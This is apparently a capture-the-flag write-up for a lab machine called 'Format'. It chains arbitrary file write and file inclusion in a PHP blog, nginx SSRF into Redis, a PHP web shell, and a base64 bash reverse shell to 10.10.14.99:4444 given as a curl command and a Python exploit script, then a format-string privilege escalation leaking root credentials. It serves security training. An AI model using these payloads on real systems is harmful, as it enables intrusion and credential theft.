Format

Recon

nmap_scan.log
Open 10.129.111.68:22
Open 10.129.111.68:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.129.111.68

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c3:97:ce:83:7d:25:5d:5d:ed:b5:45:cd:f2:0b:05:4f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC58JQV36v8AqpQB6tJC5upH5YdXw4LMaUJ4Exx+H6PjPZDab5MSx7Zm1oA1DWewM8tmU8fcprIxykYA8Z66Sd5ll/M1WntYO1b3LxxA0kI9F3yXQU+D2LMV6dGsqalJ80WWYcowlt3hZie6gnz4qEDj7ijCFi5h8K4R2rKtA16sH4FC9EQQU7qgN4WkE7uJSJS/6tWREtV/PspxsiMSBhUE0BreHurM6eaTZGa0VHOyNpbsZ3KXDro0fIOlfovRJVdAwWXF740M+X3aVngS9p1+XrnsVIqcL9T7GdU6H2Tyl5JvnGLdOr2Etd9NW41f+g+RYl7QY6WYbX+30racRmcTUtH4DODyeDXazi6fRUiXBI8pXkD3oLMBSxXsbeGT8Ja3LECPTybIl/jH3KRfl46P7TIUYZ2kqTZqxJ1B6klyZY+woh24UPDrZu/rW9JMaBz2tg97tAiLR8pLZxLrpVH7YmV8vXk2Sgo1rEuqKhBAK98bQuAsbocbjiyrKYAACc=
|   256 b3:aa:30:35:2b:99:7d:20:fe:b6:75:88:40:a5:17:c1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxL4FuxiK0hKkwexmffoZfwAs+0TzHjqgv3sbokWQzlt+YGLBXHmGuLjgjfi9Ir49zbxEL6iAOv8/Mj8hUPQVk=
|   256 fa:b3:7d:6e:1a:bc:d1:4b:68:ed:d6:e8:97:67:27:d7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK9eUks4+f4DtePOKRJYzDggTf1cOpMhtAxXHGSqr5ng
80/tcp open  http    syn-ack nginx 1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (80)

Writeup.png

We are allowed to register and then add new domain. I tried injecting PHP code inside, but it got replaced by comments.

Writeup-1.png

Gitea

Going back to home page for enumeration I noticed Contribute here! link leading to port 3000, which wasn't discovered by RustScan

Writeup-2.png

Application lives in /var/www/microblob

Writeup-3.png

order.txt records all the files that are in content directory.

Writeup-4.png

File Write

microblog/microblog-template/edit/index.php contains some dangerous login, it opens any file given by id parameter and writes any content wrapped in html.

//add header
if (isset($_POST['header']) && isset($_POST['id'])) {
    chdir(getcwd() . "/../content");
    $html = "<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>";
    $post_file = fopen("{$_POST['id']}", "w");
    fwrite($post_file, $html);
    fclose($post_file);
    $order_file = fopen("order.txt", "a");
    fwrite($order_file, $_POST['id'] . "\n");  
    fclose($order_file);
    header("Location: /edit?message=Section added!&status=success");
}

We are able to write to any file, but no code execution.

Writeup-5.png

bulletproof.php is being included by the code itself so we might achieve RCE this way. But to do that we need to have the file, and for that we need to be pro.

if(file_exists("bulletproof.php")) {
    require_once "bulletproof.php";
}

function provisionProUser() {
    if(isPro() === "true") {
        $blogName = trim(urldecode(getBlogName()));
        system("chmod +w /var/www/microblog/" . $blogName);
        system("chmod +w /var/www/microblog/" . $blogName . "/edit");
        system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
        system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
        system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
    }
    return;
}

function isPro() {
    if(isset($_SESSION['username'])) {
        $redis = new Redis();
        $redis->connect('/var/run/redis/redis.sock');
        $pro = $redis->HGET($_SESSION['username'], "pro");
        return strval($pro);
    }
    return "false";
}

LFI

The code is also vulnerable to file read, because the file we write to is added in order.txt which on page render includes and displays all the fles.

function fetchPage() {
    chdir(getcwd() . "/../content");
    $order = file("order.txt", FILE_IGNORE_NEW_LINES);
    $html_content = "";
    foreach($order as $line) {
        $temp = $html_content;
        $html_content = $temp . "<div class = \"{$line} blog-indiv-content\">" . file_get_contents($line) . "</div>";
    }
    return $html_content;
}

We can't write to the file, but because it's added in orders.txt that's why we get LFI.

Writeup-6.png

To pretty print:

└─$ curl http://x.microblog.htb/ -b 'username=n37qtjugse2hd20pefti04af5q' -s | grep 'const html' | sed 's/\\n/\n/g; s/\\t/\t/g; s#\\/#/#g' | grep sh$
</div><div class = \"../../../../../../../../../../../etc/passwd\">root:x:0:0:root:/root:/bin/bash
cooper:x:1000:1000::/home/cooper:/bin/bash
git:x:104:111:Git Version Control,,,:/home/git:/bin/bash

Controlling Proxied Host

/etc/nginx/nginx.conf is not helpful, but /etc/nginx/sites-enabled/default was

</div><div class = \"../../../../../../../../../../../etc/nginx/sites-enabled/default\">
...
server {
        listen 80;
        listen [::]:80;
        root /var/www/microblog/app;
        index index.html index.htm index-nginx-debian.html;
        server_name microblog.htb;

        location / {
                return 404;
        }
        location = /static/css/health/ {
                resolver 127.0.0.1;
                proxy_pass http://css.microbucket.htb/health.txt;
        }
        location = /static/js/health/ {
                resolver 127.0.0.1;
                proxy_pass http://js.microbucket.htb/health.txt;
        }
        location ~ /static/(.*)/(.*) {
                resolver 127.0.0.1;
                proxy_pass http://$1.microbucket.htb/$2;
        }
}

This clearly smells like SSRF, but I wasn't able to get it to work with domain name in the URL.

Google to the rescue: Middleware, middleware everywhere – and lots of misconfigurations to fix

Turns our nginx allows sending requests to endpoints with that structure even if it has http:// prefix and fixed suffix.

Properly urlencode the parts and send like shown in blog. recipe

'/var/run/redis/redis.sock' -> '%2Fvar%2Frun%2Fredis%2Fredis%2Esock'
'x "first-name" "letmein" ' -> 'x%20%22first%2Dname%22%20%22letmein%22%20'
---
└─$ curl http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis%2Esock:x%20%22first%2Dname%22%20%22letmein%22%20/y -X HSET -b 'username=n37qtjugse2hd20pefti04af5q' -v

Note: The space at the end of Redis command is very important as it's the delimiter for proper HTTP request!

Writeup-7.png

The server returns 502, but as we can see the username on dashboard is changed, meaning Redis was overwritten!

Redis (Update Pro)

Make yourself pro

└─$ curl http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis%2Esock:x%20%22pro%22%20%22true%22%20/y -X HSET -b 'username=n37qtjugse2hd20pefti04af5q' -v

Pro user's have third option of uploading images.

Writeup-8.png

Reverse Shell

The image upload functionality is not useful for us, but provisionProUser function created new folder /uploads where we can try to write php and see what happens

Writeup-9.png
└─$ curl 'http://x.microblog.htb/edit/index.php' -d $'id=../uploads/t.php&header=<?php system($_REQUEST[0]);?>' -b $'username=n37qtjugse2hd20pefti04af5q'
└─$ curl http://x.microblog.htb/uploads/t.php?0=id
<div class = "blog-h1 blue-fill"><b>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</b></div> 
└─$ curl http://x.microblog.htb/uploads/t.php -d '0=echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0Ljk5LzQ0NDQgMD4mMQ==|base64 -d|bash'
---
└─$ listen
Connection from 10.129.111.68:59190.
www-data@format:~/microblog/x/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Current user can't do much, root owns most of the stuff. .git has same stuff as Gitea.

www-data@format:~$ ls -Alh
total 28K
drwxr-xr-x 8 root     root     4.0K May 22  2023 .git
-rw-r--r-- 1 root     root       57 Nov  3  2022 README.md
drwxr-xr-x 2 root     root     4.0K Apr 18  2023 html
drwx------ 4 www-data www-data 4.0K Nov 30 04:00 microblog
drwxr-xr-x 5 root     root     4.0K Apr 18  2023 microblog-template
drwxr-xr-x 4 root     root     4.0K Apr 18  2023 microbucket
drwxr-xr-x 2 root     root     4.0K Apr 18  2023 pro-files

We might as well check Redis as that was the database.

Reverse Shell (Automated)

The shell died 💀 automated the process...

from base64 import b64encode
from requests import Request, Session as S
from urllib.parse import quote_plus

URL = 'http://{}microblog.htb'

class Auth:
    NAME = 'x'
    LOGIN = {'username': NAME, 'password': NAME}
    REGISTER = {**LOGIN, 'first-name': NAME, 'last-name': NAME}

class Routes:
    class App:
        BASE = URL.format('app.')
        REGISTER = f'{BASE}/register/index.php'
        LOGIN = f'{BASE}/login/index.php'
        DASHBOARD = f'{BASE}/dashboard/index.php'

    class MyApp:
        BASE = URL.format(Auth.NAME + '.')
        EDIT = f'{BASE}/edit/index.php'

with S() as session:
    session.proxies = {'http': 'http://127.0.0.1:8080'}
    
    session.post(Routes.App.REGISTER, data=Auth.REGISTER)
    print(f'[+] Registered...')
    session.post(Routes.App.LOGIN, data=Auth.LOGIN)
    print(f'[+] Logged in...')
    session.post(Routes.App.DASHBOARD, data={'new-blog-name': Auth.NAME})
    print(f'[+] New blog created...')

    cookies = dict(session.cookies.items())
    print(f'[+] Cookies: {cookies}')
	url = f'{URL.format("")}/static/unix:/var/run/redis/redis.sock:{Auth.NAME} "pro" "true" /y'
    print(f'[+] URL: {url}')
    
    req = Request(method="HSET", url=url, cookies=cookies)
    resp = session.send(session.prepare_request(req))
    print(f'[+] Upgraded account to Pro')

    revshell = b'/bin/bash -i >& /dev/tcp/10.10.14.99/4444 0>&1'
    payload = {
        'id': f'../uploads/{Auth.NAME}.php',
        'header': f'<?php system("echo {b64encode(revshell).decode()} | base64 -d | bash");?>'
    }
    session.post(Routes.MyApp.EDIT, data=payload)

    revshell_url = f'{Routes.MyApp.BASE}/uploads/{Auth.NAME}.php'
    print(f'[+] Reverse Shell Created: {revshell_url}')

    print(f'[+] Triggering Reverse Shell')
    session.get(revshell_url)

Redis Enumeration

└─$ pwncat -lp 4444
[12:43:41] Welcome to pwncat 🐈!                                                          __main__.py:164
[12:43:47] received connection from 10.129.111.68:32840                                        bind.py:84
[12:43:49] 10.129.111.68:32840: registered new host w/ db                                  manager.py:957
(local) pwncat$
(remote) www-data@format:/var/www/microblog/x/uploads$
(remote) www-data@format:/var/www/microblog/x/uploads$ redis-cli
Could not connect to Redis at 127.0.0.1:6379: Connection refused
not connected> exit
(remote) www-data@format:/var/www/microblog/x/uploads$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> INFO keyspace
# Keyspace
db0:keys=10,expires=6,avg_ttl=832243
redis /var/run/redis/redis.sock> SELECT 0
OK
redis /var/run/redis/redis.sock> KEYS *
 1) "PHPREDIS_SESSION:85n8j6sbhudeel673p4lm8bvo6"
 2) "cooper.dooper:sites"
 3) "x:sites"
 4) "x"
 5) "cooper.dooper"
 6) "PHPREDIS_SESSION:krc18f09i686ek42014ec70dr3"
 7) "PHPREDIS_SESSION:6qcbstlq986496rn79lm1672dp"
 8) "PHPREDIS_SESSION:55pb68qjadb0r3be7mqk9dsd3i"
 9) "PHPREDIS_SESSION:e39m4ls9f88cs2qse6amhfb0o0"
10) "PHPREDIS_SESSION:n37qtjugse2hd20pefti04af5q"
redis /var/run/redis/redis.sock> GET "cooper.dooper:sites"
(error) WRONGTYPE Operation against a key holding the wrong kind of value
redis /var/run/redis/redis.sock> LRANGE "cooper.dooper:sites" 0 -1
1) "sunny"
redis /var/run/redis/redis.sock> GET "cooper.dooper:sites:sunny"
(nil)
redis /var/run/redis/redis.sock> GET "cooper.dooper:sites.sunny"
(nil)
redis /var/run/redis/redis.sock> LRANGE "cooper.dooper:sites:sunny" 0 -1
(empty array)
redis /var/run/redis/redis.sock> TYPE "cooper.dooper"
hash
redis /var/run/redis/redis.sock> HGETALL "cooper.dooper"
 1) "username"
 2) "cooper.dooper"
 3) "password"
 4) "zooperdoopercooper"
 5) "first-name"
 6) "Cooper"
 7) "last-name"
 8) "Dooper"
 9) "pro"
10) "false"

SSH (22)

Creds: cooper:zooperdoopercooper

└─$ ssh cooper@microblog.htb
cooper@format:~$ id
uid=1000(cooper) gid=1000(cooper) groups=1000(cooper)

User.txt

cooper@format:~$ cat user.txt
6fa0af1ab64da09090829cd703ebe738

Privilege Escalation

cooper@format:~$ sudo -l
[sudo] password for cooper:
Matching Defaults entries for cooper on format:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cooper may run the following commands on format:
    (root) /usr/bin/license
cooper@format:~$ file /usr/bin/license
/usr/bin/license: Python script, ASCII text executable
cooper@format:~$ cat /usr/bin/license
#!/usr/bin/python3

import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys

class License():
    def __init__(self):
        chars = string.ascii_letters + string.digits + string.punctuation
        self.license = ''.join(random.choice(chars) for i in range(40))
        self.created = date.today()

if os.geteuid() != 0:
    print("")
    print("Microblog license key manager can only be run as root")
    print("")
    sys.exit()

parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()

r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')

secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))

f = Fernet(encryption_key)
l = License()

#provision
if(args.provision):
    user_profile = r.hgetall(args.provision)
    if not user_profile:
        print("")
        print("User does not exist. Please provide valid username.")
        print("")
        sys.exit()
    existing_keys = open("/root/license/keys", "r")
    all_keys = existing_keys.readlines()
    for user_key in all_keys:
        if(user_key.split(":")[0] == args.provision):
            print("")
            print("License key has already been provisioned for this user")
            print("")
            sys.exit()
    prefix = "microblog"
    username = r.hget(args.provision, "username").decode()
    firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
    license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
    print("")
    print("Plaintext license key:")
    print("------------------------------------------------------")
    print(license_key)
    print("")
    license_key_encoded = license_key.encode()
    license_key_encrypted = f.encrypt(license_key_encoded)
    print("Encrypted license key (distribute to customer):")
    print("------------------------------------------------------")
    print(license_key_encrypted.decode())
    print("")
    with open("/root/license/keys", "a") as license_keys_file:
        license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")

#deprovision
if(args.deprovision):
    print("")
    print("License key deprovisioning coming soon")
    print("")
    sys.exit()

#check
if(args.check):
    print("")
    try:
        license_key_decrypted = f.decrypt(args.check.encode())
        print("License key valid! Decrypted value:")
        print("------------------------------------------------------")
        print(license_key_decrypted.decode())
    except:
        print("License key invalid")
    print("")

The script is vulnerable to Format String Injection, because we are able to control fstring we are allowed to make modifications. Like using license.created field and not the raw string itself.

Writeup-10.png
redis /var/run/redis/redis.sock> hset privesc username y; hset privesc first-name z; hset privesc last-name "{license.__init__.__globals__}"
---
cooper@format:~$ sudo /usr/bin/license -p privesc

Plaintext license key:
------------------------------------------------------
<snip>'secret': 'unCR4ckaBL3Pa$$w0rd', 'secret_encoded': b'unCR4ckaBL3Pa$$w0rd'<snip>
Writeup-11.png

Creds: root:unCR4ckaBL3Pa$$w0rd

Root.txt

root@format:~# cat /root/root.txt
259b5fcd4d403908f44ea9159082086c

Last updated